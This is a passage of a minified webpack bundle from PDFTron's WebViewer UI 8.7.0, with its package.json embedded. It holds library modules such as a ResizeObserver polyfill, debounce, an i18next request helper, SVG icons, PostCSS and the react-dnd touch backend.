t=this.observers_,n=t.indexOf(e);~n&&t.splice(n,1),!t.length&&this.connected_&&this.disconnect_()},e.prototype.refresh=function(){this.updateObservers_()&&this.refresh()},e.prototype.updateObservers_=function(){var e=this.observers_.filter((function(e){return e.gatherActive(),e.hasActive()}));return e.forEach((function(e){return e.broadcastActive()})),e.length>0},e.prototype.connect_=function(){r&&!this.connected_&&(document.addEventListener("transitionend",this.onTransitionEnd_),window.addEventListener("resize",this.refresh),l?(this.mutationsObserver_=new MutationObserver(this.refresh),this.mutationsObserver_.observe(document,{attributes:!0,childList:!0,characterData:!0,subtree:!0})):(document.addEventListener("DOMSubtreeModified",this.refresh),this.mutationEventsAdded_=!0),this.connected_=!0)},e.prototype.disconnect_=function(){r&&this.connected_&&(document.removeEventListener("transitionend",this.onTransitionEnd_),window.removeEventListener("resize",this.refresh),this.mutationsObserver_&&this.mutationsObserver_.disconnect(),this.mutationEventsAdded_&&document.removeEventListener("DOMSubtreeModified",this.refresh),this.mutationsObserver_=null,this.mutationEventsAdded_=!1,this.connected_=!1)},e.prototype.onTransitionEnd_=function(e){var t=e.propertyName,n=void 0===t?"":t;a.some((function(e){return!!~n.indexOf(e)}))&&this.refresh()},e.getInstance=function(){return this.instance_||(this.instance_=new e),this.instance_},e.instance_=null,e}(),u=function(e,t){for(var n=0,r=Object.keys(t);n<r.length;n++){var o=r[n];Object.defineProperty(e,o,{value:t[o],enumerable:!1,writable:!1,configurable:!0})}return e},c=function(e){return e&&e.ownerDocument&&e.ownerDocument.defaultView||o},f=v(0,0,0,0);function d(e){return parseFloat(e)||0}function p(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return t.reduce((function(t,n){return t+d(e["border-"+n+"-width"])}),0)}function h(e){var t=e.clientWidth,n=e.clientHeight;if(!t&&!n)return f;var r=c(e).getComputedStyle(e),o=function(e){for(var t={},n=0,r=["top","right","bottom","left"];n<r.length;n++){var o=r[n],i=e["padding-"+o];t[o]=d(i)}return t}(r),i=o.left+o.right,a=o.top+o.bottom,l=d(r.width),s=d(r.height);if("border-box"===r.boxSizing&&(Math.round(l+i)!==t&&(l-=p(r,"left","right")+i),Math.round(s+a)!==n&&(s-=p(r,"top","bottom")+a)),!function(e){return e===c(e).document.documentElement}(e)){var u=Math.round(l+i)-t,h=Math.round(s+a)-n;1!==Math.abs(u)&&(l-=u),1!==Math.abs(h)&&(s-=h)}return v(o.left,o.top,l,s)}var m="undefined"!=typeof SVGGraphicsElement?function(e){return e instanceof c(e).SVGGraphicsElement}:function(e){return e instanceof c(e).SVGElement&&"function"==typeof e.getBBox};function g(e){return r?m(e)?function(e){var t=e.getBBox();return v(0,0,t.width,t.height)}(e):h(e):f}function v(e,t,n,r){return{x:e,y:t,width:n,height:r}}var y=function(){function e(e){this.broadcastWidth=0,this.broadcastHeight=0,this.contentRect_=v(0,0,0,0),this.target=e}return e.prototype.isActive=function(){var e=g(this.target);return this.contentRect_=e,e.width!==this.broadcastWidth||e.height!==this.broadcastHeight},e.prototype.broadcastRect=function(){var e=this.contentRect_;return this.broadcastWidth=e.width,this.broadcastHeight=e.height,e},e}(),b=function(e,t){var n,r,o,i,a,l,s,c=(r=(n=t).x,o=n.y,i=n.width,a=n.height,l="undefined"!=typeof DOMRectReadOnly?DOMRectReadOnly:Object,s=Object.create(l.prototype),u(s,{x:r,y:o,width:i,height:a,top:o,right:r+i,bottom:a+o,left:r}),s);u(this,{target:e,contentRect:c})},w=function(){function e(e,t,r){if(this.activeObservations_=[],this.observations_=new n,"function"!=typeof e)throw new TypeError("The callback provided as parameter 1 is not a function.");this.callback_=e,this.controller_=t,this.callbackCtx_=r}return e.prototype.observe=function(e){if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");if("undefined"!=typeof Element&&Element instanceof Object){if(!(e instanceof c(e).Element))throw new TypeError('parameter 1 is not of type "Element".');var t=this.observations_;t.has(e)||(t.set(e,new y(e)),this.controller_.addObserver(this),this.controller_.refresh())}},e.prototype.unobserve=function(e){if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");if("undefined"!=typeof Element&&Element instanceof Object){if(!(e instanceof c(e).Element))throw new TypeError('parameter 1 is not of type "Element".');var t=this.observations_;t.has(e)&&(t.delete(e),t.size||this.controller_.removeObserver(this))}},e.prototype.disconnect=function(){this.clearActive(),this.observations_.clear(),this.controller_.removeObserver(this)},e.prototype.gatherActive=function(){var e=this;this.clearActive(),this.observations_.forEach((function(t){t.isActive()&&e.activeObservations_.push(t)}))},e.prototype.broadcastActive=function(){if(this.hasActive()){var e=this.callbackCtx_,t=this.activeObservations_.map((function(e){return new b(e.target,e.broadcastRect())}));this.callback_.call(e,t,e),this.clearActive()}},e.prototype.clearActive=function(){this.activeObservations_.splice(0)},e.prototype.hasActive=function(){return this.activeObservations_.length>0},e}(),E="undefined"!=typeof WeakMap?new WeakMap:new n,S=function e(t){if(!(this instanceof e))throw new TypeError("Cannot call a class as a function.");if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");var n=s.getInstance(),r=new w(t,n,this);E.set(this,r)};["observe","unobserve","disconnect"].forEach((function(e){S.prototype[e]=function(){var t;return(t=E.get(this))[e].apply(t,arguments)}}));var C=void 0!==o.ResizeObserver?o.ResizeObserver:S;t.a=C}).call(this,n(47))},function(e,t,n){var r=n(958),o=n(959),i=n(960),a=n(278);e.exports=function(e,t){if(null==e)return{};var n=r(a(e),(function(e){return[e]}));return t=o(t),i(e,n,(function(e,n){return t(e,n[0])}))}},function(e,t,n){var r=n(987),o=n(988),i=n(267),a=n(989);e.exports=function(e){return r(e)||o(e)||i(e)||a()},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t,n){"use strict";n.d(t,"a",(function(){return o}));var r=n(0),o=Object(r.createContext)({dragDropManager:void 0})},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r={},o=s(n(1e3));Object.keys(o).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(r,e)||e in t&&t[e]===o[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return o[e]}}))}));var i=s(n(1003));Object.keys(i).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(r,e)||e in t&&t[e]===i[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return i[e]}}))}));var a=s(n(282));Object.keys(a).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(r,e)||e in t&&t[e]===a[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return a[e]}}))}));var l=s(n(283));function s(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)if(Object.prototype.hasOwnProperty.call(e,n)){var r=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,n):{};r.get||r.set?Object.defineProperty(t,n,r):t[n]=e[n]}return t.default=e,t}Object.keys(l).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(r,e)||e in t&&t[e]===l[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return l[e]}}))}))},function(e,t,n){"use strict";var r=n(44);Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"default",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(t,"List",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(t,"bpfrpt_proptype_RowRendererParams",{enumerable:!0,get:function(){return i.bpfrpt_proptype_RowRendererParams}});var o=r(n(1047)),i=n(292)},function(e,t,n){(function(t){var n=/^\s+|\s+$/g,r=/^[-+]0x[0-9a-f]+$/i,o=/^0b[01]+$/i,i=/^0o[0-7]+$/i,a=parseInt,l="object"==typeof t&&t&&t.Object===Object&&t,s="object"==typeof self&&self&&self.Object===Object&&self,u=l||s||Function("return this")(),c=Object.prototype.toString,f=Math.max,d=Math.min,p=function(){return u.Date.now()};function h(e){var t=typeof e;return!!e&&("object"==t||"function"==t)}function m(e){if("number"==typeof e)return e;if(function(e){return"symbol"==typeof e||function(e){return!!e&&"object"==typeof e}(e)&&"[object Symbol]"==c.call(e)}(e))return NaN;if(h(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=h(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(n,"");var l=o.test(e);return l||i.test(e)?a(e.slice(2),l?2:8):r.test(e)?NaN:+e}e.exports=function(e,t,n){var r,o,i,a,l,s,u=0,c=!1,g=!1,v=!0;if("function"!=typeof e)throw new TypeError("Expected a function");function y(t){var n=r,i=o;return r=o=void 0,u=t,a=e.apply(i,n)}function b(e){return u=e,l=setTimeout(E,t),c?y(e):a}function w(e){var n=e-s;return void 0===s||n>=t||n<0||g&&e-u>=i}function E(){var e=p();if(w(e))return S(e);l=setTimeout(E,function(e){var n=t-(e-s);return g?d(n,i-(e-u)):n}(e))}function S(e){return l=void 0,v&&r?y(e):(r=o=void 0,a)}function C(){var e=p(),n=w(e);if(r=arguments,o=this,s=e,n){if(void 0===l)return b(s);if(g)return l=setTimeout(E,t),y(s)}return void 0===l&&(l=setTimeout(E,t)),a}return t=m(t)||0,h(n)&&(c=!!n.leading,i=(g="maxWait"in n)?f(m(n.maxWait)||0,t):i,v="trailing"in n?!!n.trailing:v),C.cancel=function(){void 0!==l&&clearTimeout(l),u=0,r=s=o=l=void 0},C.flush=function(){return void 0===l?a:S(p())},C}}).call(this,n(47))},function(e,t,n){"use strict";(function(e){var r=n(97),o="object"==typeof exports&&exports&&!exports.nodeType&&exports,i=o&&"object"==typeof e&&e&&!e.nodeType&&e,a=i&&i.exports===o?r.a.Buffer:void 0,l=a?a.allocUnsafe:void 0;t.a=function(e,t){if(t)return e.slice();var n=e.length,r=l?l(n):new e.constructor(n);return e.copy(r),r}}).call(this,n(1134)(e))},function(e,t,n){"use strict";(function(e){var n="object"==typeof e&&e&&e.Object===Object&&e;t.a=n}).call(this,n(47))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},i=n(0),a=(r=i)&&r.__esModule?r:{default:r};t.default=function(e){var t=e.fill,n=void 0===t?"currentColor":t,r=e.width,i=void 0===r?24:r,l=e.height,s=void 0===l?24:l,u=e.style,c=void 0===u?{}:u,f=function(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}(e,["fill","width","height","style"]);return a.default.createElement("svg",o({viewBox:"0 0 24 24",style:o({fill:n,width:i,height:s},c)},f),a.default.createElement("path",{d:"M12,18.17L8.83,15L7.42,16.41L12,21L16.59,16.41L15.17,15M12,5.83L15.17,9L16.58,7.59L12,3L7.41,7.59L8.83,9L12,5.83Z"}))}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},i=n(0),a=(r=i)&&r.__esModule?r:{default:r};t.default=function(e){var t=e.fill,n=void 0===t?"currentColor":t,r=e.width,i=void 0===r?24:r,l=e.height,s=void 0===l?24:l,u=e.style,c=void 0===u?{}:u,f=function(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}(e,["fill","width","height","style"]);return a.default.createElement("svg",o({viewBox:"0 0 24 24",style:o({fill:n,width:i,height:s},c)},f),a.default.createElement("path",{d:"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"}))}},function(e,t,n){t.hot=function(e){return e}},function(e,t,n){"use strict";(function(e){var r,o,i,a=n(79),l=n(154),s=n.n(l);function u(e){return(u="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}"function"==typeof fetch&&(void 0!==e&&e.fetch?r=e.fetch:"undefined"!=typeof window&&window.fetch&&(r=window.fetch)),a.b&&(void 0!==e&&e.XMLHttpRequest?o=e.XMLHttpRequest:"undefined"!=typeof window&&window.XMLHttpRequest&&(o=window.XMLHttpRequest)),"function"==typeof ActiveXObject&&(void 0!==e&&e.ActiveXObject?i=e.ActiveXObject:"undefined"!=typeof window&&window.ActiveXObject&&(i=window.ActiveXObject)),r||!l||o||i||(r=s.a||l),"function"!=typeof r&&(r=void 0);var c=function(e,t){if(t&&"object"===u(t)){var n="";for(var r in t)n+="&"+encodeURIComponent(r)+"="+encodeURIComponent(t[r]);if(!n)return e;e=e+(-1!==e.indexOf("?")?"&":"?")+n.slice(1)}return e};t.a=function(e,t,n,l){return"function"==typeof n&&(l=n,n=void 0),l=l||function(){},r?function(e,t,n,o){e.queryStringParams&&(t=c(t,e.queryStringParams));var i=Object(a.a)({},"function"==typeof e.customHeaders?e.customHeaders():e.customHeaders);n&&(i["Content-Type"]="application/json"),r(t,Object(a.a)({method:n?"POST":"GET",body:n?e.stringify(n):void 0,headers:i},"function"==typeof e.requestOptions?e.requestOptions(n):e.requestOptions)).then((function(e){if(!e.ok)return o(e.statusText||"Error",{status:e.status});e.text().then((function(t){o(null,{status:e.status,data:t})})).catch(o)})).catch(o)}(e,t,n,l):a.b||"function"==typeof ActiveXObject?function(e,t,n,r){n&&"object"===u(n)&&(n=c("",n).slice(1)),e.queryStringParams&&(t=c(t,e.queryStringParams));try{var a;(a=o?new o:new i("MSXML2.XMLHTTP.3.0")).open(n?"POST":"GET",t,1),e.crossDomain||a.setRequestHeader("X-Requested-With","XMLHttpRequest"),a.withCredentials=!!e.withCredentials,n&&a.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),a.overrideMimeType&&a.overrideMimeType("application/json");var l=e.customHeaders;if(l="function"==typeof l?l():l)for(var s in l)a.setRequestHeader(s,l[s]);a.onreadystatechange=function(){a.readyState>3&&r(a.status>=400?a.statusText:null,{status:a.status,data:a.responseText})},a.send(n)}catch(e){console&&console.log(e)}}(e,t,n,l):void 0}}).call(this,n(47))},function(e){e.exports=JSON.parse('{"name":"webviewer-ui","author":"PDFTron Systems Inc.","version":"8.7.0","description":"WebViewer UI built in React","main":"src/index.js","scripts":{"start":"npx babel-node ./dev-server.js","download-webviewer":"npx @pdftron/webviewer-downloader --core-only --path ./lib","lint":"eslint ./src/**/*.js","lint:fix":"eslint --fix ./src/**/*.js","clean":"rimraf build","bundle":"webpack --progress --config ./webpack.config.prod.js","build":"npm run clean && npm run bundle","translation":"node ./scripts/translate-i18n-files.js","storybook":"start-storybook -p 6006 --ci","build-storybook":"build-storybook","jest":"jest --runInBand --logHeapUsage","jest:watch":"jest --watch"},"dependencies":{"@pdftron/webviewer-react-toolkit":"^0.7.1","autolinker":"^3.11.1","classnames":"^2.2.6","css-vars-ponyfill":"^2.3.2","dayjs":"^1.8.19","fast-deep-equal":"^3.1.3","file-saver":"git+https://github.com/ZhijieZhang/FileSaver.js.git","hotkeys-js":"^3.7.3","html2canvas":"git+https://github.com/PDFTron/html2canvas.git#pdftron-alpha10","i18next":"^19.0.3","i18next-http-backend":"^1.0.16","quill-mention":"^3.1.0","react":"^17.0.0","react-color":"^2.18.1","react-dnd":"^14.0.2","react-dnd-html5-backend":"^14.0.0","react-dom":"^17.0.0","react-draggable":"^4.3.1","react-i18next":"^11.3.1","react-measure":"^2.3.0","react-mentions":"git+https://github.com/PDFTron/react-mentions.git","react-onclickoutside":"^6.9.0","react-quill":"^2.0.0-beta.4","react-redux":"^7.1.3","react-select":"^3.1.1","react-swipeable":"^5.5.1","react-virtualized":"^9.21.2","react-virtuoso":"^2.8.1","redux":"^4.0.5","redux-persist":"^6.0.0","redux-thunk":"^2.3.0"},"devDependencies":{"@babel/cli":"^7.8.3","@babel/core":"^7.8.3","@babel/eslint-parser":"^7.16.0","@babel/node":"^7.8.3","@babel/plugin-proposal-class-properties":"^7.8.3","@babel/plugin-proposal-export-namespace-from":"^7.8.3","@babel/plugin-proposal-function-sent":"^7.8.3","@babel/plugin-proposal-numeric-separator":"^7.8.3","@babel/plugin-proposal-optional-chaining":"^7.8.3","@babel/plugin-proposal-throw-expressions":"^7.8.3","@babel/preset-env":"^7.8.3","@babel/preset-react":"^7.8.3","@google-cloud/translate":"^5.1.4","@hot-loader/react-dom":"^16.11.0","@pdftron/webviewer-downloader":"^1.4.2","@pdftron/webviewer-reading-mode":"1.0.6","@storybook/addon-actions":"^6.1.11","@storybook/addon-essentials":"^6.1.11","@storybook/addon-links":"^6.1.11","@storybook/react":"^6.1.11","@testing-library/jest-dom":"^5.11.4","@testing-library/react":"^10.4.9","@testing-library/react-hooks":"^5.0.3","@testing-library/user-event":"^12.7.3","babel-jest":"^26.3.0","babel-loader":"^8.0.6","body-parser":"^1.19.0","clean-webpack-plugin":"^3.0.0","copy-webpack-plugin":"^5.1.1","core-js":"^3.6.4","css-loader":"^3.4.2","cssnano":"^4.1.11","eslint":"^6.8.0","eslint-plugin-babel":"^5.3.0","eslint-plugin-cypress":"^2.8.1","eslint-plugin-import":"^2.20.0","eslint-plugin-jsx-a11y":"^6.2.3","eslint-plugin-react":"^7.18.0","eslint-plugin-react-hooks":"^2.3.0","express":"^4.17.1","file-loader":"^5.0.2","identity-obj-proxy":"^3.0.0","ip":"^1.1.5","jest":"^26.4.2","jest-canvas-mock":"^2.3.1","mini-css-extract-plugin":"0.8.0","open":"^8.4.0","postcss-import":"^12.0.1","postcss-loader":"^3.0.0","postcss-preset-env":"^6.7.0","prop-types":"^15.7.2","raw-loader":"^4.0.0","react-hot-loader":"^4.12.19","react-is":"^16.13.1","redux-devtools-extension":"^2.13.8","redux-logger":"^3.0.6","regenerator-runtime":"^0.13.9","rimraf":"^3.0.0","sass":"^1.34.0","sass-loader":"^8.0.2","style-loader":"^1.1.3","svg-inline-loader":"^0.8.0","webpack":"^4.41.5","webpack-bundle-analyzer":"^3.6.0","webpack-cli":"^3.3.10","webpack-dev-middleware":"^3.7.2","webpack-hot-middleware":"^2.25.0","@reduxjs/toolkit":"^1.8.1"}}')},function(e,t,n){"use strict";var r;t.__esModule=!0,t.default=void 0;var o=(0,((r=n(1157))&&r.__esModule?r:{default:r}).default)("local");t.default=o},function(e,t,n){"use strict";t.__esModule=!0,t.default=void 0;var r=p(n(200)),o=p(n(302)),i=p(n(202)),a=p(n(205)),l=p(n(206)),s=p(n(1177)),u=p(n(204)),c=p(n(308)),f=p(n(208)),d=p(n(309));function p(e){return e&&e.__esModule?e:{default:e}}function h(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return 1===t.length&&Array.isArray(t[0])&&(t=t[0]),new o.default(t)}h.plugin=function(e,t){function n(){var n=t.apply(void 0,arguments);return n.postcssPlugin=e,n.postcssVersion=(new o.default).version,n}var r;return Object.defineProperty(n,"postcss",{get:function(){return r||(r=n()),r}}),n.process=function(e,t,r){return h([n(r)]).process(e,t)},n},h.stringify=i.default,h.parse=u.default,h.vendor=s.default,h.list=c.default,h.comment=function(e){return new a.default(e)},h.atRule=function(e){return new l.default(e)},h.decl=function(e){return new r.default(e)},h.rule=function(e){return new f.default(e)},h.root=function(e){return new d.default(e)};var m=h;t.default=m,e.exports=t.default},function(e,t,n){"use strict";var r,o=n(9);!function(e){e.mouse="mouse",e.touch="touch",e.keyboard="keyboard"}(r||(r={}));var i=1,a=0;function l(e){return void 0===e.button||e.button===a}function s(e){return!!e.targetTouches}function u(e,t){return s(e)?function(e,t){return 1===e.targetTouches.length?u(e.targetTouches[0]):t&&1===e.touches.length&&e.touches[0].target===t.target?u(e.touches[0]):void 0}(e,t):{x:e.clientX,y:e.clientY}}var c=function(){var e=!1;try{addEventListener("test",(function(){}),Object.defineProperty({},"passive",{get:function(){return e=!0,!0}}))}catch(e){}return e}();function f(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var d,p=function(){function e(t,n){var r=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.enableTouchEvents=!0,this.enableMouseEvents=!1,this.enableKeyboardEvents=!1,this.ignoreContextMenu=!1,this.enableHoverOutsideTarget=!1,this.touchSlop=0,this.scrollAngleRanges=void 0,this.context=n,this.delayTouchStart=t.delayTouchStart||t.delay||0,this.delayMouseStart=t.delayMouseStart||t.delay||0,Object.keys(t).forEach((function(e){null!=t[e]&&(r[e]=t[e])}))}var t,n,r;return t=e,(n=[{key:"window",get:function(){return this.context&&this.context.window?this.context.window:"undefined"!=typeof window?window:void 0}},{key:"document",get:function(){if(this.window)return this.window.document}}])&&f(t.prototype,n),r&&f(t,r),e}();function h(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function m(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var g=(m(d={},r.mouse,{start:"mousedown",move:"mousemove",end:"mouseup",contextmenu:"contextmenu"}),m(d,r.touch,{start:"touchstart",move:"touchmove",end:"touchend"}),m(d,r.keyboard,{keydown:"keydown"}),d),v=function(){function e(t,n,o){var a=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.getSourceClientOffset=function(e){return function(e){var t=1===e.nodeType?e:e.parentElement;if(t){var n=t.getBoundingClientRect(),r=n.top;return{x:n.left,y:r}}}(a.sourceNodes[e])},this.handleTopMoveStartCapture=function(e){l(e)&&(a.moveStartSourceIds=[])},this.handleMoveStart=function(e){Array.isArray(a.moveStartSourceIds)&&a.moveStartSourceIds.unshift(e)},this.handleTopMoveStart=function(e){if(l(e)){var t=u(e);t&&(s(e)&&(a.lastTargetTouchFallback=e.targetTouches[0]),a._mouseClientOffset=t),a.waitingForDelay=!1}},this.handleTopMoveStartDelay=function(e){if(l(e)){var t=e.type===g.touch.start?a.options.delayTouchStart:a.options.delayMouseStart;a.timeout=setTimeout(a.handleTopMoveStart.bind(a,e),t),a.waitingForDelay=!0}},this.handleTopMoveCapture=function(){a.dragOverTargetIds=[]},this.handleMove=function(e,t){a.dragOverTargetIds&&a.dragOverTargetIds.unshift(t)},this.handleTopMove=function(e){if(a.timeout&&clearTimeout(a.timeout),a.document&&!a.waitingForDelay){var t,n,r,o,i=a.moveStartSourceIds,l=a.dragOverTargetIds,s=a.options.enableHoverOutsideTarget,c=u(e,a.lastTargetTouchFallback);if(c)if(a._isScrolling||!a.monitor.isDragging()&&function(e,t,n,r,o){if(!o)return!1;for(var i=180*Math.atan2(r-t,n-e)/Math.PI+180,a=0;a<o.length;++a)if((null==o[a].start||i>=o[a].start)&&(null==o[a].end||i<=o[a].end))return!0;return!1}(a._mouseClientOffset.x||0,a._mouseClientOffset.y||0,c.x,c.y,a.options.scrollAngleRanges))a._isScrolling=!0;else if(!a.monitor.isDragging()&&a._mouseClientOffset.hasOwnProperty("x")&&i&&(t=a._mouseClientOffset.x||0,n=a._mouseClientOffset.y||0,r=c.x,o=c.y,Math.sqrt(Math.pow(Math.abs(r-t),2)+Math.pow(Math.abs(o-n),2))>(a.options.touchSlop?a.options.touchSlop:0))&&(a.moveStartSourceIds=void 0,a.actions.beginDrag(i,{clientOffset:a._mouseClientOffset,getSourceClientOffset:a.getSourceClientOffset,publishSource:!1})),a.monitor.isDragging()){var f=a.sourceNodes[a.monitor.getSourceId()];a.installSourceNodeRemovalObserver(f),a.actions.publishDragSource(),e.preventDefault();var d=(l||[]).map((function(e){return a.targetNodes[e]})),p=a.options.getDropTargetElementsAtPoint?a.options.getDropTargetElementsAtPoint(c.x,c.y,d):a.document.elementsFromPoint(c.x,c.y),h=[];for(var m in p)if(p.hasOwnProperty(m)){var g=p[m];for(h.push(g);g;)g=g.parentElement,-1===h.indexOf(g)&&h.push(g)}var v=h.filter((function(e){return d.indexOf(e)>-1})).map((function(e){for(var t in a.targetNodes)if(e===a.targetNodes[t])return t})).filter((function(e){return!!e})).filter((function(e,t,n){return n.indexOf(e)===t}));if(s)for(var y in a.targetNodes)if(a.targetNodes[y]&&a.targetNodes[y].contains(f)&&-1===v.indexOf(y)){v.unshift(y);break}v.reverse(),a.actions.hover(v,{clientOffset:c})}}},this.handleTopMoveEndCapture=function(e){a._isScrolling=!1,a.lastTargetTouchFallback=void 0,function(e){return void 0===e.buttons||0==(e.buttons&i)}(e)&&(a.monitor.isDragging()&&!a.monitor.didDrop()?(e.preventDefault(),a._mouseClientOffset={},a.uninstallSourceNodeRemovalObserver(),a.actions.drop(),a.actions.endDrag()):a.moveStartSourceIds=void 0)},this.handleCancelOnEscape=function(e){"Escape"===e.key&&a.monitor.isDragging()&&(a._mouseClientOffset={},a.uninstallSourceNodeRemovalObserver(),a.actions.endDrag())},this.options=new p(o,n),this.actions=t.getActions(),this.monitor=t.getMonitor(),this.sourceNodes={},this.sourcePreviewNodes={},this.sourcePreviewNodeOptions={},this.targetNodes={},this.listenerTypes=[],this._mouseClientOffset={},this._isScrolling=!1,this.options.enableMouseEvents&&this.listenerTypes.push(r.mouse),this.options.enableTouchEvents&&this.listenerTypes.push(r.touch),this.options.enableKeyboardEvents&&this.listenerTypes.push(r.keyboard)}var t,n,a;return t=e,(n=[{key:"setup",value:function(){this.window&&(Object(o.a)(!e.isSetUp,"Cannot have two Touch backends at the same time."),e.isSetUp=!0,this.addEventListener(this.window,"start",this.getTopMoveStartHandler()),this.addEventListener(this.window,"start",this.handleTopMoveStartCapture,!0),this.addEventListener(this.window,"move",this.handleTopMove),this.addEventListener(this.window,"move",this.handleTopMoveCapture,!0),this.addEventListener(this.window,"end",this.handleTopMoveEndCapture,!0),this.options.enableMouseEvents&&!this.options.ignoreContextMenu&&this.addEventListener(this.window,"contextmenu",this.handleTopMoveEndCapture),this.options.enableKeyboardEvents&&this.addEventListener(this.window,"keydown",this.handleCancelOnEscape,!0))}},{key:"teardown",value:function(){this.window&&(e.isSetUp=!1,this._mouseClientOffset={},this.removeEventListener(this.window,"start",this.handleTopMoveStartCapture,!0),this.removeEventListener(this.window,"start",this.handleTopMoveStart),this.removeEventListener(this.window,"move",this.handleTopMoveCapture,!0),this.removeEventListener(this.window,"move",this.handleTopMove),this.removeEventListener(this.window,"end",this.handleTopMoveEndCapture,!0),this.options.enableMouseEvents&&!this.options.ignoreContextMenu&&this.removeEventListener(this.window,"contextmenu",this.handleTopMoveEndCapture),this.options.enableKeyboardEvents&&this.removeEventListener(this.window,"keydown",this.handleCancelOnEscape,!0),this.uninstallSourceNodeRemovalObserver())}},{key:"addEventListener",value:function(e,t,n,r){var o=c?{capture:r,passive:!1}:r;this.listenerTypes.forEach((function(r){var i=g[r][t];i&&e.addEventListener(i,n,o)}))}},{key:"removeEventListener",value:function(e,t,n,r){var o=c?{capture:r,passive:!1}:r;this.listenerTypes.forEach((function(r){var i=g[r][t];i&&e.removeEventListener(i,n,o)}))}},{key:"connectDragSource",value:function(e,t){var n=this,r=this.handleMoveStart.bind(this,e);return this.sourceNodes[e]=t,this.addEventListener(t,"start",r),function(){delete n.sourceNodes[e],n.removeEventListener(t,"start",r)}}},{key:"connectDragPreview",value:function(e,t,n){var r=this;return this.sourcePreviewNodeOptions[e]=n,this.sourcePreviewNodes[e]=t,function(){delete r.sourcePreviewNodes[e],delete r.sourcePreviewNodeOptions[e]}}},{key:"connectDropTarget",value:function(e,t){var n=this;if(!this.document)return function(){return null};var r=function(r){if(n.document&&n.monitor.isDragging()){var o;switch(r.type){case g.mouse.move:o={x:r.clientX,y:r.clientY};break;case g.touch.move:o={x:r.touches[0].clientX,y:r.touches[0].clientY}}var i=null!=o?n.document.elementFromPoint(o.x,o.y):void 0,a=i&&t.contains(i);return i===t||a?n.handleMove(r,e):void 0}};return this.addEventListener(this.document.body,"move",r),this.targetNodes[e]=t,function(){n.document&&(delete n.targetNodes[e],n.removeEventListener(n.document.body,"move",r))}}},{key:"getTopMoveStartHandler",value:function(){return this.options.delayTouchStart||this.options.delayMouseStart?this.handleTopMoveStartDelay:this.handleTopMoveStart}},{key:"installSourceNodeRemovalObserver",value:function(e){var t=this;this.uninstallSourceNodeRemovalObserver(),this.draggedSourceNode=e,this.draggedSourceNodeRemovalObserver=new MutationObserver((function(){e&&!e.parentElement&&(t.resurrectSourceNode(),t.uninstallSourceNodeRemovalObserver())})),e&&e.parentElement&&this.draggedSourceNodeRemovalObserver.observe(e.parentElement,{childList:!0})}},{key:"resurrectSourceNode",value:function(){this.document&&this.draggedSourceNode&&(this.draggedSourceNode.style.display="none",this.draggedSourceNode.removeAttribute("data-reactid"),this.document.body.appendChild(this.draggedSourceNode))}},{key:"uninstallSourceNodeRemovalObserver",value:function(){this.draggedSourceNodeRemovalObserver&&this.draggedSourceNodeRemovalObserver.disconnect(),this.draggedSourceNodeRemovalObserver=void 0,this.draggedSourceNode=void 0}},{key:"window",get:function(){return this.options.window}},{key:"document",get:function(){if(this.window)return this.window.document}}])&&h(t.prototype,n),a&&h(t,a),e}();t.a=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return new v(e,t,n)}},,,,,function(e,t,n){n(333),n(336),n(337),n(338),n(339)},function(e,t,n){"use strict";var 